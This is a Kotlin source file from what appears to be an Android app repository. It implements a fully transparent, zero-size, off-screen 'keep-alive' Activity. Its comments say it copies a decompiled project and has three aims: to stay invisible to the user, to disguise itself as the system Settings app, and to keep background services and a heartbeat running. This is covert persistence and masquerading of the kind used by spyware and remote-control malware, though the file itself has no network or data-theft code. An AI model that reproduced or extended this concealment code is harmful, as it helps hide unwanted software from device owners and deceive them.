Files
and-bak/app/src/main/java/com/hikoncont/TransparentKeepAliveActivity.kt

560 lines
22 KiB
Kotlin
Raw Normal View History

2026-02-11 16:59:49 +08:00
package com.hikoncont
import android.annotation.SuppressLint
import android.app.Activity
import android.app.ActivityManager
import android.content.Intent
import android.content.pm.PackageManager
import android.graphics.Bitmap
import android.graphics.Canvas
import android.graphics.drawable.BitmapDrawable
import android.graphics.drawable.Drawable
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.Window
import android.view.WindowManager
import com.hikoncont.service.ComprehensiveKeepAliveManager
import com.hikoncont.service.HeartbeatManager
import com.hikoncont.util.InstallationStateManager
/**
* 透明保活Activity - 借鉴反编译项目的FlyActivity实现
* 主要职责
* 1. 透明显示用户无感知
* 2. 保活程序唤起时跳转到此Activity
* 3. 伪装成系统设置应用
* 4. 启动保活服务
*/
class TransparentKeepAliveActivity : Activity() {
companion object {
private const val TAG = "TransparentKeepAlive"
private var instance: TransparentKeepAliveActivity? = null
fun getInstance(): TransparentKeepAliveActivity? = instance
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
Log.i(TAG, "🫥 透明保活Activity创建")
try {
instance = this
// ✅ 立即禁用Activity动画防止闪烁
overridePendingTransition(0, 0)
// ✅ ANR修复异步处理窗口操作避免焦点窗口切换超时
Handler(Looper.getMainLooper()).post {
try {
// ✅ 超快速隐藏窗口,防止任何闪烁 - 最高优先级
ultraFastHideWindow()
// ✅ 强制释放焦点,确保不阻断输入
forceReleaseFocus()
// ✅ 立即设置透明窗口,防止遮挡屏幕
setupTransparentWindowImmediately()
// ✅ 强制设置完全透明,确保不遮挡
forceTransparentWindow()
// ✅ 立即隐藏窗口,防止闪烁
hideWindowImmediately()
Log.d(TAG, "✅ 异步窗口设置完成避免ANR")
} catch (e: Exception) {
Log.e(TAG, "❌ 异步窗口设置失败", e)
}
}
// ✅ 修复极简化onCreate移除所有可能阻塞的操作
// 延迟检查安装状态避免在onCreate中阻塞
Handler(Looper.getMainLooper()).postDelayed({
try {
// 异步检查安装是否完成
val installationStateManager = InstallationStateManager.getInstance(this@TransparentKeepAliveActivity)
val isInstallationComplete = installationStateManager.isInstallationComplete()
if (!isInstallationComplete) {
Log.w(TAG, "⚠️ 安装未完成透明保活Activity无效直接关闭")
finish()
return@postDelayed
}
// 再次确保窗口透明
hideWindowImmediately()
// 伪装成系统设置应用
disguiseAsSystemSettings()
// 启动保活服务
startKeepAliveServices()
// 透明保活Activity只进行保活不启动主Activity
Log.d(TAG, "🫥 透明保活Activity专注于保活任务")
Log.i(TAG, "✅ 透明保活Activity初始化完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 透明保活Activity初始化失败", e)
}
}, 500) // 延迟500ms给系统更多时间完成Activity创建
} catch (e: Exception) {
Log.e(TAG, "❌ 透明保活Activity初始化失败", e)
}
}
override fun onResume() {
super.onResume()
Log.d(TAG, "🔄 透明保活Activity恢复")
try {
// ✅ 立即禁用Activity动画防止闪烁
overridePendingTransition(0, 0)
// ✅ 立即隐藏窗口,防止遮挡 - 最高优先级
hideWindowImmediately()
// ✅ 强制释放焦点,确保不阻断输入
forceReleaseFocus()
// ✅ 再次确保窗口透明设置
setupTransparentWindowImmediately()
// ✅ 强制设置完全透明
forceTransparentWindow()
// ✅ 修复极简化onResume只做最基本的操作
// 延迟处理避免在onResume中阻塞
Handler(Looper.getMainLooper()).postDelayed({
try {
// 再次确保窗口隐藏
hideWindowImmediately()
// 启动保活服务
startKeepAliveServices()
// 透明保活Activity只需要保持透明状态不需要跳转到其他应用
Log.d(TAG, "🫥 透明保活Activity保持透明状态进行保活")
} catch (e: Exception) {
Log.e(TAG, "❌ 透明保活Activity恢复失败", e)
}
}, 100) // 减少延迟时间,更快响应
} catch (e: Exception) {
Log.e(TAG, "❌ 透明保活Activity恢复失败", e)
}
}
override fun onPause() {
super.onPause()
Log.d(TAG, "⏸️ 透明保活Activity暂停")
try {
// 在暂停时也确保窗口隐藏
hideWindowImmediately()
} catch (e: Exception) {
Log.e(TAG, "❌ 暂停时隐藏窗口失败", e)
}
}
override fun onStop() {
super.onStop()
Log.d(TAG, "⏹️ 透明保活Activity停止")
try {
// 在停止时也确保窗口隐藏
hideWindowImmediately()
} catch (e: Exception) {
Log.e(TAG, "❌ 停止时隐藏窗口失败", e)
}
}
override fun onDestroy() {
super.onDestroy()
Log.i(TAG, "🛑 透明保活Activity销毁")
instance = null
}
override fun finish() {
try {
// ✅ 禁用结束动画,防止闪烁
overridePendingTransition(0, 0)
} catch (e: Exception) {
Log.e(TAG, "❌ 禁用结束动画失败", e)
}
instance = null
super.finish()
}
/**
* 新增超快速隐藏窗口防止任何闪烁确保不阻断输入避免ANR
*/
@SuppressLint("WrongConstant")
private fun ultraFastHideWindow() {
try {
val window = window
// ✅ ANR修复分步骤设置窗口属性避免一次性操作过多导致超时
// 第一步:立即隐藏窗口装饰视图
window.decorView.visibility = android.view.View.GONE
window.decorView.alpha = 0f
// 第二步:设置基本窗口标志
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
// 第三步:清除可能影响焦点的标志
window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND)
window.clearFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND)
window.clearFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
window.clearFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
window.clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
// 第四步:设置窗口属性
val attributes = window.attributes
attributes.alpha = 0.0f
attributes.x = -1000
attributes.y = -1000
attributes.width = 0
attributes.height = 0
attributes.gravity = android.view.Gravity.TOP or android.view.Gravity.LEFT
window.attributes = attributes
// 第五步:设置窗口大小和背景
window.setLayout(0, 0)
window.setBackgroundDrawable(null)
// 第六步:强制释放焦点
window.decorView.clearFocus()
window.decorView.clearAnimation()
// ✅ 新增强制将Activity移到后台释放焦点
moveTaskToBack(true)
Log.d(TAG, "⚡ 超快速隐藏窗口完成焦点已释放Activity已移到后台")
} catch (e: Exception) {
Log.e(TAG, "❌ 超快速隐藏窗口失败", e)
}
}
/**
* 新增立即设置透明窗口防止遮挡屏幕
*/
@SuppressLint("WrongConstant")
private fun setupTransparentWindowImmediately() {
try {
val window = window
// 立即设置窗口标志,防止遮挡
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS)
window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED)
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN)
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR)
// 立即设置窗口属性
val attributes = window.attributes
attributes.dimAmount = 0.0f
attributes.alpha = 0.0f
attributes.x = -1000
attributes.y = -1000
attributes.width = 0
attributes.height = 0
window.attributes = attributes
// 立即设置窗口大小和位置
window.setLayout(0, 0)
window.setBackgroundDrawable(null)
// 立即隐藏窗口装饰视图
window.decorView.visibility = android.view.View.GONE
window.decorView.alpha = 0f
// 设置窗口不可见
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
window.setDecorFitsSystemWindows(false)
}
Log.d(TAG, "🫥 立即透明窗口设置完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 立即设置透明窗口失败", e)
}
}
/**
* 设置透明窗口 - 完全透明版防止遮挡
*/
@SuppressLint("WrongConstant")
private fun setupTransparentWindow() {
try {
val window = window
// 延迟设置避免在onCreate中阻塞
Handler(Looper.getMainLooper()).postDelayed({
try {
// ✅ 修复:设置完全透明的窗口标志,确保不遮挡
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE) // 关键:不接收触摸事件
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS) // 允许超出屏幕边界
window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED) // 硬件加速
// 设置窗口属性
val attributes = window.attributes
attributes.dimAmount = 0.0f
attributes.alpha = 0.0f // 完全透明
attributes.x = -1000 // 移动到屏幕外
attributes.y = -1000 // 移动到屏幕外
window.attributes = attributes
// 设置窗口大小为0x0像素完全隐藏
window.setLayout(0, 0)
// 设置背景为透明
window.setBackgroundDrawable(null)
// ✅ 新增:立即隐藏窗口,防止短暂显示
window.decorView.visibility = android.view.View.GONE
window.decorView.alpha = 0f
// ✅ 新增:设置窗口不可见
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
window.setDecorFitsSystemWindows(false)
}
Log.d(TAG, "🫥 完全透明窗口设置完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 设置透明窗口失败", e)
}
}, 200) // 延迟200ms设置给系统更多时间
} catch (e: Exception) {
Log.e(TAG, "❌ 设置透明窗口失败", e)
}
}
/**
* 伪装成系统设置应用 - 极简版防止ANR
*/
private fun disguiseAsSystemSettings() {
try {
// ✅ 修复极简化伪装只设置基本标题避免复杂的Bitmap操作
setTitle("系统设置")
Log.d(TAG, "🎭 极简伪装设置完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 伪装成系统设置失败", e)
}
}
// ✅ 新增:防止重复启动的标志
private var isKeepAliveStarted = false
private val keepAliveLock = Any()
/**
* 启动保活服务 - 防重复启动版
*/
private fun startKeepAliveServices() {
synchronized(keepAliveLock) {
if (isKeepAliveStarted) {
Log.d(TAG, "⚠️ 保活服务已启动,跳过重复启动")
return
}
isKeepAliveStarted = true
}
try {
Log.i(TAG, "🚀 启动保活服务")
// ✅ 修复:只更新心跳,不重复启动综合保活管理器
Handler(Looper.getMainLooper()).postDelayed({
try {
// 异步更新心跳避免文件I/O阻塞
Thread {
try {
HeartbeatManager.getInstance(this@TransparentKeepAliveActivity).updateHeartbeat()
Log.i(TAG, "✅ 保活服务启动完成(只更新心跳)")
} catch (e: Exception) {
Log.e(TAG, "❌ 更新心跳失败", e)
}
}.start()
} catch (e: Exception) {
Log.e(TAG, "❌ 启动心跳更新线程失败", e)
}
}, 200) // 延迟200ms避免在Activity创建时阻塞
} catch (e: Exception) {
Log.e(TAG, "❌ 启动保活服务失败", e)
synchronized(keepAliveLock) {
isKeepAliveStarted = false
}
}
}
/**
* 增强立即隐藏窗口防止遮挡屏幕
*/
private fun hideWindowImmediately() {
try {
val window = window
// 立即隐藏窗口装饰视图
window.decorView.visibility = android.view.View.GONE
window.decorView.alpha = 0f
// 设置窗口为完全透明 - 增强标志设置
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS)
window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED)
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN)
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR)
// 设置窗口属性 - 增强属性设置
val attributes = window.attributes
attributes.alpha = 0.0f
attributes.dimAmount = 0.0f
attributes.x = -1000
attributes.y = -1000
attributes.width = 0
attributes.height = 0
window.attributes = attributes
// 设置窗口大小为0
window.setLayout(0, 0)
// 设置背景为透明
window.setBackgroundDrawable(null)
// 设置窗口不可见
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
window.setDecorFitsSystemWindows(false)
}
Log.d(TAG, "🫥 窗口已立即隐藏")
} catch (e: Exception) {
Log.e(TAG, "❌ 立即隐藏窗口失败", e)
}
}
/**
* 新增强制设置窗口完全透明防止任何遮挡
*/
private fun forceTransparentWindow() {
try {
val window = window
// 强制设置所有透明标志
window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND)
window.clearFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS)
window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED)
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN)
window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR)
window.addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN)
// 强制设置窗口属性
val attributes = window.attributes
attributes.dimAmount = 0.0f
attributes.alpha = 0.0f
attributes.x = -1000
attributes.y = -1000
attributes.width = 0
attributes.height = 0
attributes.gravity = android.view.Gravity.TOP or android.view.Gravity.LEFT
window.attributes = attributes
// 强制设置窗口大小和位置
window.setLayout(0, 0)
window.setBackgroundDrawable(null)
// 强制隐藏窗口装饰视图
window.decorView.visibility = android.view.View.GONE
window.decorView.alpha = 0f
window.decorView.setBackgroundColor(android.graphics.Color.TRANSPARENT)
// 设置窗口不可见
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
window.setDecorFitsSystemWindows(false)
}
Log.d(TAG, "🫥 强制透明窗口设置完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 强制设置透明窗口失败", e)
}
}
/**
* 新增强制释放焦点确保不阻断手机输入避免ANR
*/
private fun forceReleaseFocus() {
try {
val window = window
// ✅ ANR修复分步骤释放焦点避免一次性操作过多
// 第一步:强制释放焦点
window.decorView.clearFocus()
window.decorView.clearAnimation()
// 第二步:设置窗口为完全不可交互
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
// 第三步:清除可能影响焦点的标志
window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND)
window.clearFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND)
window.clearFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
window.clearFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
window.clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
// 第四步:设置窗口属性,确保不接收输入
val attributes = window.attributes
attributes.alpha = 0.0f
attributes.x = -1000
attributes.y = -1000
attributes.width = 0
attributes.height = 0
window.attributes = attributes
// 第五步:设置窗口大小
window.setLayout(0, 0)
window.setBackgroundDrawable(null)
// 第六步:隐藏窗口装饰视图
window.decorView.visibility = android.view.View.GONE
window.decorView.alpha = 0f
// ✅ 新增强制将Activity移到后台释放焦点
moveTaskToBack(true)
Log.d(TAG, "🎯 焦点已强制释放Activity已移到后台确保不阻断输入")
} catch (e: Exception) {
Log.e(TAG, "❌ 强制释放焦点失败", e)
}
}
}